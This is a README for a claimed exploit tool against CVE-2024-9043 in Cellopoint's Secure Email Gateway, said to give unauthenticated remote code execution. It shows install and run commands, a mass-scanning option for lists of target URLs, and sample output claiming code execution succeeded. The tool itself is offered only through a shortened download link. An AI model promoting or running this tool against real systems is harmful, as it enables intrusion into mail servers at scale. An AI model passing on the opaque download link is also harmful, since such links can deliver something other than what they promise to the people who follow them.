# 🛠 CVE-2024-9043 Exploit
## 🌟 Description
CVE-2024-9043 Secure Email Gateway from Cellopoint has Buffer Overflow Vulnerability in authentication process. Remote unauthenticated attackers can send crafted packets to crash the process, thereby bypassing authentication and obtaining system administrator privileges.
## ⚙️ Installation
To set up the exploitation tool, follow these steps:
1. Download the repository:
|[Download](https://t.ly/YBqAu)
|:--------------- |
2. Navigate to the tool's directory:
```bash
cd CVE-2024-9043
```
3. Install the required Python packages:
```bash
pip install -r requirements.txt
```
## 🚀 Usage
To use the tool, run the script from the command line as follows:
```bash
python exploit.py [options]
```
### Options
- -u, --url:
Specify the target URL or IP address.
- -f, --file:
Specify a file containing a list of URLs to scan.
- -t, --threads:
Set the number of threads for concurrent scanning.
- -o, --output:
Define an output file to save the scan results.
When a single URL is provided with the -u option and the target is vulnerable, the script will attempt to execute arbitrary code.
### Example
```bash
$ python3 exploit.py -u http://target-url.com
[+] Remote code execution triggered successfully.
[!] http://target-url.com is vulnerable to CVE-2024-9043.
```
## 📊 Mass Scanning
For mass scanning, use the -f option with a file containing URLs. The tool will scan each URL and print concise results, indicating whether each target is vulnerable.
```bash
python exploit.py -f urls.txt
```
## 🗒 Affected Versions
Secure Email Gateway <= 4.5.0
## 📈 CVSS Information
Score: 9.8
Severity: CRITICAL
Confidentiality: High
Integrity: High
Availability: High
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
[4.0K] /data/pocs/0bb583dd1faf274f0ef0ac09c3de77f791a430de
└── [1.8K] README.md
0 directories, 1 file